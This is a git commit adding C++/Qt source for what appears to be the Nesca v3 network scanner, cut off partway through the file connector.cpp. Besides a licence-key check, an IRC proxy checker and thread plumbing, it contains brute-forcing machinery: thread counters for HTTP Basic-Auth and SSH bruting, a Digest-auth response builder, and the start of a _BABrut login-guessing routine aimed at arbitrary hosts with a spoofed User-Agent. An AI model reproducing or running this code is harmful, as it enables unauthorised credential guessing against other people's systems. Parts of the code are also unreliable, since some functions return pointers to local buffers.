commit f80f4b52dfa722d26476ba9e08edaf1cb1c7c2c7 Author: do_not_scan Date: Fri Aug 8 19:02:44 2014 -0400 initial commit diff --git a/00000036.wav b/00000036.wav new file mode 100755 index 0000000..8466549 Binary files /dev/null and b/00000036.wav differ diff --git a/CheckKey_Th.cpp b/CheckKey_Th.cpp new file mode 100755 index 0000000..598b2aa --- /dev/null +++ b/CheckKey_Th.cpp @@ -0,0 +1,241 @@ +#pragma once +#include "CheckKey_Th.h" +#include "CheckProxy_Th.h" +#include "STh.h" +int emitIfOK = -1; +int KeyCheckerMain() +{ + int kLen = strlen(trcPersKey); + if(kLen == 0) + { + stt->doEmitionRedFoundData("[Key check] Key field is empty."); + return -1; + } + else if(kLen < 32) + { + stt->doEmitionRedFoundData("[Key check] Key length is not valid."); + return -1; + }; + char msg[1024] = {0}; + char ndbServer[64] = {0}; + char ndbScript[64] = {0}; + + sockaddr_in sockAddr; + sockAddr.sin_family = AF_INET; + sockAddr.sin_port = htons(atoi(trcSrvPortLine)); + + strcpy(msg, "GET "); + strcat(msg, "/"); + strcat(msg, trcScr); + strcat(msg, " HTTP/1.0\r\nHost: "); + strcat(msg, trcSrv); + strcat(msg, "\r\nX-Nescav3: True"); + strcat(msg, "\r\nConnection: close"); + strcat(msg, "\r\n\r\n"); + + HOSTENT *host; + +#if defined(WIN32) + if(inet_addr(trcSrv) != INADDR_NONE) sockAddr.sin_addr.S_un.S_addr = inet_addr(trcSrv); + else if(host=gethostbyname (trcSrv)) ((unsigned long*) &sockAddr.sin_addr)[0] = ((unsigned long**)host->h_addr_list)[0][0]; +#else + if(inet_addr(trcSrv) != INADDR_NONE) sockAddr.sin_addr.s_addr = inet_addr(trcSrv); + else if(host=gethostbyname (trcSrv)) ((unsigned long*) &sockAddr.sin_addr)[0] = ((unsigned long**)host->h_addr_list)[0][0]; +#endif + SOCKET sock = socket( AF_INET, SOCK_STREAM, IPPROTO_TCP ); + + stt->doEmitionYellowFoundData("[Key check] Requesting server ip..."); + int test = connect(sock, (sockaddr*)&sockAddr, sizeof(sockAddr)); + if(test == -1) + { +#pragma region QTGUI_Area + stt->doEmitionRedFoundData("[Key check] -connect() returned. Cannot connect to balancer! " + QString::number(WSAGetLastError()) + "."); + closesocket(sock); + return -1; +#pragma endregion + }; + + test = send(sock, msg, strlen(msg), 0); + + if(test == -1) + { +#pragma region QTGUI_Area + stt->doEmitionRedFoundData("[Key check] -send() returned. Cannot send to balancer! " + QString::number(WSAGetLastError()) + "."); + closesocket(sock); + return -1; +#pragma endregion + }; + + ZeroMemory(msg, sizeof(msg)); + int ror = sizeof(msg); + + test = recv(sock, msg, sizeof(msg), 0); + char buff[512] = {0}; + while((test = recv(sock, msg, sizeof(msg), 0)) != 0) + { + strcat(msg, buff); + }; + + if(test == -1) + { +#pragma region QTGUI_Area + stt->doEmitionRedFoundData("[Key check] -recv() returned. Cannot recv from balancer! " + QString::number(WSAGetLastError()) + "."); + closesocket(sock); + return -1; +#pragma endregion + }; + + char *t1; + char *t2; + if(strstr(msg, "http://") != NULL) + { + t1 = strstr(msg, "http://"); + if(strstr((char*)(t1 + strlen("http://")), "/") != NULL) + { + t2 = strstr((char*)(t1 + strlen("http://")), "/"); + int ln = t2 - t1 - strlen("http://"); + if(ln > 64) + { +#pragma region QTGUI_Area + stt->doEmitionRedFoundData("[Key check] -Received server string is not valid!"); + closesocket(sock); + return -1; +#pragma endregion + } + else strncpy(ndbServer, (char*)(t1 + strlen("http://")), ln); + + + if(strlen(t2) > 64) + { + #pragma region QTGUI_Area + stt->doEmitionYellowFoundData("[Key check] -Fragmentation detected!"); + #pragma endregion + if(strstr(t2, "\r\n") != NULL) + { + char *t3 = strstr(t2, "\r\n"); + int y = (int)(t3 - t2); + + if(y > 64) + { + #pragma region QTGUI_Area + stt->doEmitionRedFoundData("[Key check] -Received server string is not valid!"); + closesocket(sock); + return -1; + #pragma endregion + } + else + { + strncpy(ndbScript, t2, y); + }; + } + else + { + #pragma region QTGUI_Area + stt->doEmitionRedFoundData("[Key check] -Received server string is not valid!"); + closesocket(sock); + return -1; + #pragma endregion + }; + } else strcpy(ndbScript, t2); + } + else + { +#pragma region QTGUI_Area + stt->doEmitionRedFoundData("[Key check] -Cannot receive script value!"); + closesocket(sock); + return -1; +#pragma endregion + }; + + ZeroMemory(msg, sizeof(msg)); + +#pragma region QTGUI_Area + stt->doEmitionGreenFoundData("[Key check] -OK. -Server string aquired! Checking key..."); + closesocket(sock); +#pragma endregion + + sockAddr.sin_family = AF_INET; + sockAddr.sin_port = htons(atoi(trcSrvPortLine)); + strcpy(msg, "GET "); + strcat(msg, "/api/checkaccount?key="); + strncat(msg, trcPersKey, 32); + strcat(msg, " HTTP/1.0\r\nHost: "); + strcat(msg, ndbServer); + strcat(msg, "\r\nConnection: close"); + strcat(msg, "\r\n\r\n"); + +#if defined(WIN32) + if(inet_addr(ndbServer) != INADDR_NONE) sockAddr.sin_addr.S_un.S_addr = inet_addr(ndbServer); + else if(host=gethostbyname (ndbServer)) ((unsigned long*) &sockAddr.sin_addr)[0] = ((unsigned long**)host->h_addr_list)[0][0]; +#else + if(inet_addr(ndbServer) != INADDR_NONE) sockAddr.sin_addr.s_addr = inet_addr(ndbServer); + else if(host=gethostbyname (ndbServer)) ((unsigned long*) &sockAddr.sin_addr)[0] = ((unsigned long**)host->h_addr_list)[0][0]; +#endif + sock = socket( AF_INET, SOCK_STREAM, IPPROTO_TCP ); + + int c = connect(sock, (sockaddr*)&sockAddr, sizeof(sockAddr)); + if(c == SOCKET_ERROR) + { + stt->doEmitionRedFoundData("[Key check] -Connection timeout."); + closesocket(sock); + return -1; + }; + c = send(sock, msg, strlen(msg), 0); + if(c == SOCKET_ERROR) + { + stt->doEmitionRedFoundData("[Key check] -Send error."); + closesocket(sock); + return -1; + }; + ZeroMemory(msg, sizeof(msg)); + test = recv(sock, msg, 512, 0); + + if(strstr(msg, "202 Accepted") != NULL) + { +#pragma region QTGUI_Area + stt->doEmitionGreenFoundData("[Key check] -OK. Key is valid!"); +#pragma endregion + closesocket(sock); + if(emitIfOK == 0) stt->doEmitionStartScanIP(); + else if(emitIfOK == 1) stt->doEmitionStartScanDNS(); + else if(emitIfOK == 2) stt->doEmitionStartScanImport(); + return 1; + } + else if(strstr(msg, "400 Bad Request") != NULL) + { +#pragma region QTGUI_Area + QString errorDef = GetNSErrorDefinition(msg, "notify"); + if(errorDef == "Invalid access key") stt->doEmitionYellowFoundData("[NS-Track] [Key is unauthorized] A valid key is required."); + else stt->doEmitionYellowFoundData("[NS-Track] -FAIL! [400 Bad Request : " + GetNSErrorDefinition(msg, "notify") + "]"); +#pragma endregion + closesocket(sock); + return -1; + } + else + { +#pragma region QTGUI_Area + stt->doEmitionYellowFoundData("[Key check] -FAIL! An error occured. (" + QString::number(WSAGetLastError()) + ")"); + if(gDebugMode) stt->doEmitionDebugFoundData(QString(msg)); +#pragma endregion + closesocket(sock); + return -1; + }; + + ZeroMemory(msg, sizeof(msg)); + closesocket(sock); + } + else + { +#pragma region QTGUI_Area + stt->doEmitionRedFoundData("[Key check] -Balancer replied with invalid string."); + if(gDebugMode) stt->doEmitionDebugFoundData(QString(msg)); + closesocket(sock); + return -1; +#pragma endregion + }; +}; + +void CheckKey_Th::run() +{ + KeyCheckerMain(); +}; diff --git a/CheckProxy_Th.cpp b/CheckProxy_Th.cpp new file mode 100755 index 0000000..a66eae7 --- /dev/null +++ b/CheckProxy_Th.cpp @@ -0,0 +1,155 @@ +#include "CheckProxy_Th.h" + +void CheckProxy_Th::doEmitChangeRedIRCData(QString str) +{ + emit chPTh->changeRedIRCData(str); +}; +void CheckProxy_Th::doEmitChangeGreenIRCData(QString str) +{ + emit chPTh->changeGreenIRCData(str); +}; +void CheckProxy_Th::doEmitChangeYellowIRCData(QString str) +{ + emit chPTh->changeYellowIRCData(str); +}; +void CheckProxy_Th::doEmitChangeRawIRCDataInc(QString str) +{ + emit chPTh->changeRawIRCDataInc(str); +}; +void CheckProxy_Th::doEmitChangeRawIRCDataOut(QString str) +{ + emit chPTh->changeRawIRCDataOut(str); +}; + +void CheckProxyLogic() +{ + destroychPThFlag = false; + QString str1 = ui->ircProxyPort->text(); + QString str2 = ui->ircProxy->text(); + strcpy(ircProxy, str2.toUtf8().data()); + strcpy(ircProxyPort, str1.toUtf8().data()); + + int err, yes = 1; + SOCKET pSock; + char precvBuff[2048] = {0}; + sockaddr_in addr; + addr.sin_family = AF_INET; + addr.sin_port = htons(atoi(ircProxyPort)); + + HOSTENT *host; + +#if defined(WIN32) + if(inet_addr(ircProxy) != INADDR_NONE) addr.sin_addr.S_un.S_addr = inet_addr(ircProxy); + else if(host = gethostbyname (ircProxy)) ((unsigned long*) &addr.sin_addr)[0] = ((unsigned long**)host->h_addr_list)[0][0]; +#else + if(inet_addr(ircProxy) != INADDR_NONE) addr.sin_addr.s_addr = inet_addr(ircProxy); + else if(host=gethostbyname (ircProxy)) ((unsigned long*) &addr.sin_addr)[0] = ((unsigned long**)host->h_addr_list)[0][0]; +#endif + pSock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); + setsockopt(pSock, SOL_SOCKET, SO_REUSEADDR, (char*)&yes, sizeof(int)); + + if(pSock == INVALID_SOCKET) + { +#pragma region QTGUI_Area + chPTh->doEmitChangeRedIRCData("CheckProxy: -INVALID SOCKET."); +#pragma endregion + } + else + { + if(connect(pSock, (sockaddr*)&addr, sizeof(addr)) != SOCKET_ERROR) + { +#pragma region QTGUI_Area + chPTh->doEmitChangeRawIRCDataOut(QString::fromLocal8Bit("CONNECT 2ip.ru HTTP/1.1\r\n\r\n")); +#pragma endregion + send(pSock, "CONNECT 2ip.ru HTTP/1.1\r\n\r\n", strlen("CONNECT 2ip.ru HTTP/1.1\r\n\r\n"), 0); + + while(recv(pSock, precvBuff, sizeof(precvBuff), 0) > 0) + { +#pragma region QTGUI_Area + chPTh->doEmitChangeRawIRCDataInc(QString::fromLocal8Bit(precvBuff)); +#pragma endregion + if( (strstr(precvBuff, "HTTP/1.1 200 OK") || strstr(precvBuff, "200 OK") + || strstr(precvBuff, "OK 200") || strstr(precvBuff, "200 Connection") + ) + && (strlen(precvBuff) < 150) + && strstr(precvBuff, "404 File Not Found") == NULL + && + ( + strstr(precvBuff, "Invalid Request") == NULL + || strstr(precvBuff, "Invalid request") == NULL || strstr(precvBuff, "invalid request") == NULL + || strstr(precvBuff, "400 Bad Request") == NULL || strstr(precvBuff, " 400 bad request") == NULL + ) + ) + { + +#pragma region QTGUI_Area + chPTh->doEmitChangeRawIRCDataOut(QString::fromLocal8Bit("GET / HTTP/1.1\r\nHost: 2ip.ru\r\n\r\n")); +#pragma endregion + send(pSock, "GET / HTTP/1.1\r\nHost: 2ip.ru\r\n\r\n", strlen("GET / HTTP/1.1\r\nHost: 2ip.ru\r\n\r\n"), 0); + ZeroMemory(precvBuff, sizeof(precvBuff)); + while(recv(pSock, precvBuff, sizeof(precvBuff), 0) > 0) + { + +#pragma region QTGUI_Area + chPTh->doEmitChangeRawIRCDataInc(QString::fromLocal8Bit(precvBuff)); +#pragma endregion + if(strstr(precvBuff, "404 File Not Found") == NULL && strstr(precvBuff, "Invalid Request") == NULL + && strstr(precvBuff, "Invalid request") == NULL && strstr(precvBuff, "invalid request") == NULL + && strstr(precvBuff, "400 Bad Request") == NULL && strstr(precvBuff, "400 bad request") == NULL + && strstr(precvBuff, "404 Not") == NULL && strstr(precvBuff, "404 not") == NULL + && strstr(precvBuff, "500 Internal") == NULL && strstr(precvBuff, "500 internal") == NULL + && strstr(precvBuff, "401 Unauthorized") == NULL && strstr(precvBuff, "401 unauthorized") == NULL + && strstr(precvBuff, "InvalidUrl") == NULL && strstr(precvBuff, "invalidurl") == NULL + && strstr(precvBuff, "Invalid Url") == NULL && strstr(precvBuff, "invalid url") == NULL + && strstr(precvBuff, "Gateway Timeout") == NULL && strstr(precvBuff, "Gateway timeout") == NULL + && strstr(precvBuff, "gateway timeout") == NULL + ) + { + +#pragma region QTGUI_Area + chPTh->doEmitChangeGreenIRCData("[OK] Success! Now using " + QString(ircProxy) + ":" + QString(ircProxyPort) + "."); +#pragma endregion + proxyEnabledFlag = 1; + + closesocket(pSock); + break; + } + else + { +#pragma region QTGUI_Area + chPTh->doEmitChangeRedIRCData("[Fail] " + QString(ircProxy) + ":" + QString(ircProxyPort) + " - is not CONNECT proxy? Try another one."); +#pragma endregion + proxyEnabledFlag = 0; + + closesocket(pSock); + break; + }; + }; + break; + } + else + { +#pragma region QTGUI_Area + chPTh->doEmitChangeRedIRCData("[Fail] " + QString(ircProxy) + ":" + QString(ircProxyPort) + " - is not CONNECT proxy? Try another one."); +#pragma endregion + proxyEnabledFlag = 0; + + closesocket(pSock); + break; + }; + }; + } + else + { +#pragma region QTGUI_Area + chPTh->doEmitChangeRedIRCData("[Fail] Cannot connect to " + QString(ircProxy) + ":" + QString(ircProxyPort) + "."); +#pragma endregion + proxyEnabledFlag = 0; + }; + }; +}; + +void CheckProxy_Th::run() +{ + CheckProxyLogic(); +}; diff --git a/DrawerTh_GridQoSScanner.h b/DrawerTh_GridQoSScanner.h new file mode 100755 index 0000000..c7fcdb1 --- /dev/null +++ b/DrawerTh_GridQoSScanner.h @@ -0,0 +1,23 @@ +#ifndef DRAWERTH_GRIDQOSSCANNER_H +#define DRAWERTH_GRIDQOSSCANNER_H + +#pragma once +#include "nesca_3.h" +#include "resource.h" + +class DrawerTh_GridQoSScanner : public QThread +{ + Q_OBJECT + +public: +public: signals: void sAddLine(); + +public: + void doEmitAddLine(); + +protected: + void run(); +}; + +extern DrawerTh_GridQoSScanner *dtGridQoS; +#endif // DRAWERTH_GRIDQOSSCANNER_H diff --git a/IRCPinger_Th.cpp b/IRCPinger_Th.cpp new file mode 100755 index 0000000..0e757ad --- /dev/null +++ b/IRCPinger_Th.cpp @@ -0,0 +1,30 @@ +#pragma once +#include "IRCPinger_Th.h" + +void IRCPinger_Th::doEmitChangeRedIRCData(QString str) +{ + emit ircPTh->changeRedIRCData(str); +}; +void IRCPinger_Th::doEmitRestartIRC() +{ + emit ircPTh->RestartIRC(); +}; + +void IRCPinger_Th::run() +{ + while(iWantToConnect) + { + if(globalPinger >= 360) //6min timeout + { +#pragma region QTGUI_Area + ircPTh->doEmitChangeRedIRCData("-//- Ping timeout. Reconnecting... "); +#pragma endregion + + ircPTh->doEmitRestartIRC(); + globalPinger = 0; + msleep(10000); + }; + ++globalPinger; + msleep(1000); + }; +}; \ No newline at end of file diff --git a/STh.cpp b/STh.cpp new file mode 100755 index 0000000..16e7143 --- /dev/null +++ b/STh.cpp @@ -0,0 +1,103 @@ +#include "STh.h" + +void STh::doEmitionShowRedVersion() +{ + emit stt->showRedVersion(); +}; +void STh::doEmitionStartScanIP() +{ + emit stt->startScanIP(); +}; +void STh::doEmitionStartScanDNS() +{ + emit stt->startScanDNS(); +}; +void STh::doEmitionStartScanImport() +{ + emit stt->startScanImport(); +}; +void STh::doEmitionAddIncData(QString(ip), QString str) +{ + emit stt->sIncData(ip, str); +}; +void STh::doEmitionAddOutData(QString ip, QString str) +{ + emit stt->sOutData(ip, str); +}; +void STh::doEmitionIPRANGE(QString str) +{ + emit stt->changeIpRange(str); +} +void STh::doEmitionThreads(QString str) +{ + emit stt->changeThreads(str); +} +void STh::doEmitionIPS(QString str) +{ + emit stt->changeIPS(str); +} +void STh::doEmitionFoundData(QString str) +{ + emit stt->changeFoundData(str); +} +void STh::doEmitionBAData(QString str) +{ + emit stt->changeBAData(str); +} +void STh::doEmition_BARedData(QString str) +{ + emit stt->changeRedBAData(str); +}; +void STh::doEmition_BAGreenData(QString str) +{ + emit stt->changeGreenBAData(str); +} +void STh::doEmitionRedFoundData(QString str) +{ + emit stt->changeRedFoundData(str); +} +void STh::doEmitionGreenFoundData(QString str) +{ + emit stt->changeGreenFoundData(str); +} +void STh::doEmitionYellowFoundData(QString str) +{ + emit stt->changeYellowFoundData(str); +} +void STh::doEmitionDebugFoundData(QString str) +{ + emit stt->changeDebugFoundData(str); +} +void STh::doEmitionChangeStatus(QString str) +{ + emit stt->changeStatus(str); +} +void STh::doEmitionTargetsLeft(QString str) +{ + emit stt->changeTargetsLeft(str); +} +void STh::doEmitionKillSttThread() +{ + emit stt->killSttThread(); +}; +void STh::doEmitionChangeParsed(QString str) +{ + emit stt->changeParsedValue(str); +}; +void STh::doEmitionChangeBA(QString str) +{ + emit stt->changeBAValue(str); +}; +void STh::doEmitionSetActivityValue(QString str) +{ + emit stt->SetActivityValue(str); +}; +void STh::doEmitionOffline(QString str) +{ + emit stt->changeOffline(str); +}; + +void STh::run() +{ + startScan(inputStr); +} \ No newline at end of file diff --git a/STh.h b/STh.h new file mode 100755 index 0000000..605ad81 --- /dev/null +++ b/STh.h @@ -0,0 +1,71 @@ +#ifndef STH_H +#define STH_H + +#pragma once +#include "nesca_3.h" +#include "resource.h" + +class STh : public QThread +{ + Q_OBJECT +public: + +public: + static void doEmitionStartScanIP(); + static void doEmitionStartScanDNS(); + static void doEmitionStartScanImport(); + static void doEmitionAddIncData(QString ip, QString str); + static void doEmitionAddOutData(QString ip, QString str); + static void doEmition_BAGreenData(QString str); + static void doEmition_BARedData(QString str); + static void doEmitionIPRANGE(QString str); + static void doEmitionThreads(QString str); + static void doEmitionIPS(QString str); + static void doEmitionFoundData(QString str); + static void doEmitionRedFoundData(QString str); + static void doEmitionGreenFoundData(QString); + static void doEmitionYellowFoundData(QString); + static void doEmitionChangeStatus(QString); + static void doEmitionTargetsLeft(QString); + static void doEmitionKillSttThread(); + static void doEmitionChangeParsed(QString); + static void doEmitionChangeBA(QString); + static void doEmitionOffline(QString); + static void doEmitionBAData(QString str); + static void doEmitionSetActivityValue(QString); + static void doEmitionDebugFoundData(QString); + static void doEmitionShowRedVersion(); +signals: + + +public: signals: void showRedVersion(); +public: signals: void startScanIP(); +public: signals: void startScanDNS(); +public: signals: void startScanImport(); + +public: signals: void SetActivityValue(QString); +public: signals: void changeGreenBAData(QString); +public: signals: void changeRedBAData(QString); +public: signals: void changeBAData(QString); +public: signals: void changeOffline(QString); +public: signals: void changeBAValue(QString); +public: signals: void changeParsedValue(QString); +public: signals: void changeIpRange(QString); +public: signals: void changeThreads(QString); +public: signals: void changeIPS(QString); +public: signals: void changeFoundData(QString); +public: signals: void changeRedFoundData(QString); +public: signals: void changeGreenFoundData(QString); +public: signals: void changeYellowFoundData(QString); +public: signals: void changeDebugFoundData(QString); +public: signals: void changeStatus(QString); +public: signals: void changeTargetsLeft(QString); +public: signals: void killSttThread(); +public: signals: void sIncData(QString, QString); +public: signals: void sOutData(QString, QString); + +protected: + void run(); +}; +extern STh *stt; +#endif // STH_H diff --git a/connector.cpp b/connector.cpp new file mode 100755 index 0000000..62898fe --- /dev/null +++ b/connector.cpp @@ -0,0 +1,2530 @@ +#pragma once +#include "STh.h" +#include +#include +#include +#include +#pragma once + + +volatile bool BConnLocked = false; +void BConInc() +{ + while(BConnLocked == true) Sleep(6); + + BConnLocked = true; + ++BrutingThrds; + BConnLocked = false; +#pragma region QTGUI_Area + stt->doEmitionChangeBA(QString::number(BrutingThrds)); +#pragma endregion + ++BA; +}; +void BConDec() +{ + while(BConnLocked == true) Sleep(8); + + BConnLocked = true; + if(BrutingThrds > 0) --BrutingThrds; + BConnLocked = false; +#pragma region QTGUI_Area + stt->doEmitionChangeBA(QString::number(BrutingThrds)); +#pragma endregion +}; +bool SSHConnLocked = false; +void SSHConInc() +{ + while(SSHConnLocked == true) Sleep(6); + + SSHConnLocked = true; + ++BrutingThrds; + SSHConnLocked = false; +#pragma region QTGUI_Area + stt->doEmitionChangeBA(QString::number(BrutingThrds)); +#pragma endregion +}; +void SSHConDec() +{ + while(SSHConnLocked == true) Sleep(8); + + SSHConnLocked = true; + if(BrutingThrds > 0) --BrutingThrds; + SSHConnLocked = false; +#pragma region QTGUI_Area + stt->doEmitionChangeBA(QString::number(BrutingThrds)); +#pragma endregion +}; + +bool debugWriteWait = false; +void _DebugWriteHTMLToFile(char *request, char *buff) +{ + while(debugWriteWait) Sleep(50); + debugWriteWait = true; + FILE *df = fopen("./debugData.txt", "a"); + + if(df != NULL) + { + fputs(request, df); + fputs("==========================\n", df); + fputs(buff, df); + fputs("\n==========================\n==========================\n\n", df); + fclose(df); + } + else + { + stt->doEmitionRedFoundData("[DEBUG] Cannot open debugData.txt"); + }; + debugWriteWait = false; +}; +unsigned char tl(unsigned char d) +{ + if(d >= 192 && d <= 223) + { + unsigned char y = d + 32; + return y; + } + else + { + return tolower(d); + }; +}; +int recvWT( + int Socket, + char *Buffer, + int Len, + long Timeout, + int *bTimedOut + ){ + fd_set ReadSet; + int n; + struct timeval Time; + + FD_ZERO(&ReadSet); + FD_SET(Socket,&ReadSet); + Time.tv_sec = Timeout; + Time.tv_usec = 0; + *bTimedOut = FALSE; + n = select(Socket+1,&ReadSet,NULL,NULL,&Time); + if (n > 0) { /* got some data */ + return recv(Socket,Buffer,Len,0); + } + if (n == 0) { /* timeout */ + *bTimedOut = TRUE; + } + return(n) ; /* trouble */ +} +string toLowerStr(const char *str) +{ + int tsz = strlen(str); + if(tsz == 1) + { + if(str[0] == 10) return "[No data!]"; + else return str; + } + else if(tsz > 1) + { + char * strr = new char[tsz+1]; + ZeroMemory(strr, tsz); + + for (int i = 0; i < tsz; i++) + { + strr[i] = tl(str[i]); + }; + + memset(strr + tsz, '\0', 1); + + string tstr = strr; + delete []strr; + return tstr; + }; + return ""; +}; +SSL_CTX* InitCTX(void) +{ + const SSL_METHOD *method; + SSL_CTX *ctx; + + OpenSSL_add_all_algorithms(); /* Load cryptos, et.al. */ + SSL_load_error_strings(); /* Bring in and register error messages */ + method = SSLv3_client_method(); /* Create new client-method instance */ + ctx = SSL_CTX_new(method); /* Create new context */ + SSL_CTX_set_timeout(ctx, gTimeOut); + if ( ctx == NULL ) + { + stt->doEmitionRedFoundData("SSL error (InitCTX)."); + abort(); + } + return ctx; +} +int OpenConnection(const char *hostname, int port) +{ int sd; +struct hostent *host; +struct sockaddr_in addr; +if(strlen(hostname) == 0) +{ + if(gNegDebugMode) stt->doEmitionDebugFoundData("[" + QString(hostname) + ":" + QString::number(port) + "" + "] Rejecting in _connection: Bad IP."); + return -1; +}; +if(port < 0 || port > 65535) +{ + if(gNegDebugMode) stt->doEmitionDebugFoundData("[" + QString(hostname) + ":" + QString::number(port) + "" + "] Rejecting in _connection: Bad port."); + return -1; +}; + +if ( (host = gethostbyname(hostname)) == NULL ) +{ + ++offlines; + if(mode != 1) + { + char temp[256] = {0}; + strcpy(temp, "[Error - Bad Address ("); + + strcat(temp, hostname); + strcat(temp, ":"); + strcat(temp, std::to_string((long double)port).c_str()); + strcat(temp, "):"); + strcat(temp, std::to_string((long double)WSAGetLastError()).c_str()); + strcat(temp, "]"); + +#pragma region QTGUI_Area + stt->doEmitionRedFoundData("[SSL error]: " + QString(temp)); +#pragma endregion + + }; + if(gNegDebugMode) stt->doEmitionDebugFoundData("[" + QString(hostname) + ":" + QString::number(port) + "" + "] Rejecting in _connection: Bad IP."); + return -1; +}; +sd = socket(PF_INET, SOCK_STREAM, 0); +ZeroMemory(&addr, sizeof(addr)); +addr.sin_family = AF_INET; +addr.sin_port = htons(port); +addr.sin_addr.s_addr = *(long*)(host->h_addr); +if ( connect(sd, (struct sockaddr*)&addr, sizeof(addr)) != 0 ) +{ + +#pragma region QTGUI_Area + stt->doEmitionRedFoundData("[SSL error]: Cannot open connection to " + QString(hostname) + ":" + QString::number(port)); +#pragma endregion + closesocket(sd); + return -1; +} +return sd; +} + +char *_baSSLWorker(char *ip, char *request) +{ + int bytes = 0; + + SSL_library_init(); + SSL_CTX *ctx = InitCTX(); + SOCKET sock = OpenConnection(ip, 443); + if(sock >= 0) + { + SSL *ssl = SSL_new(ctx); /* create new SSL connection state */ + SSL_set_fd(ssl, sock); /* attach the socket descriptor */ + + if(SSL_connect(ssl)) + { + SSL_write(ssl, request, strlen(request)); + if(MapWidgetOpened) stt->doEmitionAddOutData(QString(ip), QString(request)); + + int x = 256; + char recvBuff[1024] = {0}; + + ZeroMemory(recvBuff, sizeof(recvBuff)); + x = SSL_read(ssl, recvBuff, sizeof(recvBuff)); + + Activity += x; + + SSL_free(ssl); + closesocket(sock); /* close socket */ + SSL_CTX_free(ctx); /* release context */ + if(MapWidgetOpened) stt->doEmitionAddIncData(QString(ip), QString(recvBuff)); + std::string res2 = ""; + + if(HTMLDebugMode) _DebugWriteHTMLToFile(request, recvBuff); + return recvBuff; + } + else + { + closesocket(sock); /* close socket */ + SSL_CTX_free(ctx); /* release context */ + return ""; + }; + }; +}; +char *_getAttributeValue(char *str, char *val) +{ + char res[1024] = {0}; + char *ptrStart = NULL; + char *ptrS1End = NULL; + char *ptrS2End = NULL; + + ptrStart = strstri(str, val); + if(ptrStart != NULL) + { + ptrS1End = FindFirstOcc(ptrStart, "\""); + if(ptrS1End != NULL) + { + ptrS2End = FindFirstOcc(ptrS1End + 1, "\""); + if(ptrS2End != NULL) + { + int sz = ptrS2End - ptrS1End - 1; + + if(sz != 0 && sz < 1024) strncpy(res, ptrS1End + 1, sz); + else return ""; + + return res; + } + else + { + stt->doEmitionRedFoundData("[_getAttributeValue] Error while retrieving value: " + QString(val)); + return ""; + }; + } + else + { + stt->doEmitionRedFoundData("[_getAttributeValue] Error while retrieving value: " + QString(val)); + return ""; + }; + } + else + { + stt->doEmitionRedFoundData("[_getAttributeValue] Error while retrieving value: " + QString(val)); + return ""; + }; +}; +void print_md5_sum(unsigned char* md, char* md5) +{ + char temp[8] = {0}; + for(int i = 0; i < MD5_DIGEST_LENGTH; ++i) + { + ZeroMemory(temp, 8); + sprintf(temp, "%02x", md[i]); + + if(i != 0) + { + strcat(md5, temp); + } + else + { + strcpy(md5, temp); + }; + }; +}; +char *_makeDigestResponse(char *login, char *realm, char *pass, char *path, char *nonce) +{ + unsigned char HA1[MD5_DIGEST_LENGTH]; + unsigned char HA2[MD5_DIGEST_LENGTH]; + char HA1Data[512] = {0}; + char HA2Data[512] = {0}; + + strcpy(HA1Data, login); + strcat(HA1Data, ":"); + strcat(HA1Data, realm); + strcat(HA1Data, ":"); + strcat(HA1Data, pass); + + strcpy(HA2Data, "GET:"); + strcat(HA2Data, path); + + MD5((unsigned char*) HA1Data, strlen(HA1Data), HA1); + MD5((unsigned char*) HA2Data, strlen(HA2Data), HA2); + + char responseData[512] = {0}; + char *HA1MD5 = new char[64]; + char *HA2MD5 = new char[64]; + ZeroMemory(HA1MD5, 64); + ZeroMemory(HA2MD5, 64); + + print_md5_sum(HA1, HA1MD5); + strcpy(responseData, HA1MD5); + strcat(responseData, ":"); + strcat(responseData, nonce); + strcat(responseData, "::auth:"); + print_md5_sum(HA2, HA2MD5); + strcat(responseData, HA2MD5); + delete []HA1MD5; + delete []HA2MD5; + + unsigned char response[MD5_DIGEST_LENGTH]; + MD5((unsigned char*) responseData, strlen(responseData), response); + char responseMD5[64] = {0}; + print_md5_sum(response, responseMD5); + return (char*)responseMD5; +}; +lopaStr _BABrut(char *ip, int port, char *pathT, char *method, char *data) +{ + lopaStr lps; + ZeroMemory(lps.login, sizeof(lps.login)); + ZeroMemory(lps.pass, sizeof(lps.pass)); + ZeroMemory(lps.other, sizeof(lps.other)); + + char request[4096] = {0}; + char path[512] = {0}; + strncpy(path, pathT, 512); + sockaddr_in sockAddr; + SOCKET sock; + int bTO; + bool goon = false; + char hMsg[1024] = {0}; + char hMsgR[512] = {0}; + + strcpy(hMsg, "GET "); + strcat(hMsg, path); + strcat(hMsg, " HTTP/1.1\r\nHost: "); + strcat(hMsg, ip); + strcat(hMsg, "\r\nUser-Agent: Mozilla/5.0 (X11; U; Linux i686; us; rv:1.9.0.11) Gecko/2009060308 Ubuntu/9.04 (jaunty) Firefox/3.0.11\r\nAccept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1\r\nAccept-Language: en-US,ru;q=0.9,en;q=0.8\r\nAccept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1\r\nAccept-Encoding: text, identity, *;q=0\r\n\r\n"); + +#pragma region VerifyBASSL + if(port == 443) + { + strncpy(hMsg, _baSSLWorker(ip, hMsg), 1024); + } +#pragma endregion + else +#pragma region VerifyBA + { + sockAddr.sin_family = AF_INET; + sockAddr.sin_port = htons(port); + HOSTENT *host; +#if defined(WIN32) + if(inet_addr(ip) != INADDR_NONE) sockAddr.sin_addr.S_un.S_addr = inet_addr(ip); + else if(host=gethostbyname (ip)) ((unsigned long*) &sockAddr.sin_addr)[0] = ((unsigned long**)host->h_addr_list)[0][0]; + else + { +#pragma region QTGUI_Area + stt->doEmitionRedFoundData("[BA] Bad address! [" + QString(ip) + "]"); +#pragma endregion + }; +#else + if(inet_addr(ip) != INADDR_NONE) sockAddr.sin_addr.s_addr = inet_addr(ip); + else if(host=gethostbyname (ip)) ((unsigned long*) &sockAddr.sin_addr)[0] = ((unsigned long**)host->h_addr_list)[0][0]; + else + { +#pragma region QTGUI_Area + stt->doEmitionRedFoundData("[BA] Bad address! [" + QString(ip) + "]"); +#pragma endregion + }; +#endif + SOCKET sock = socket( AF_INET, SOCK_STREAM, IPPROTO_TCP ); + connect(sock, (sockaddr*)&sockAddr, sizeof(sockAddr)); + + + send(sock, hMsg, strlen(hMsg), 0); + if(MapWidgetOpened) stt->doEmitionAddOutData(QString(ip), QString(hMsg)); + ZeroMemory(hMsg, sizeof(hMsg)); + int x = 1; + int xx = 0; + while(xx < 512) + { + x = recvWT(sock, hMsgR, sizeof(hMsgR), gTimeOut + 10, &bTO); + if(x == 0) break; + 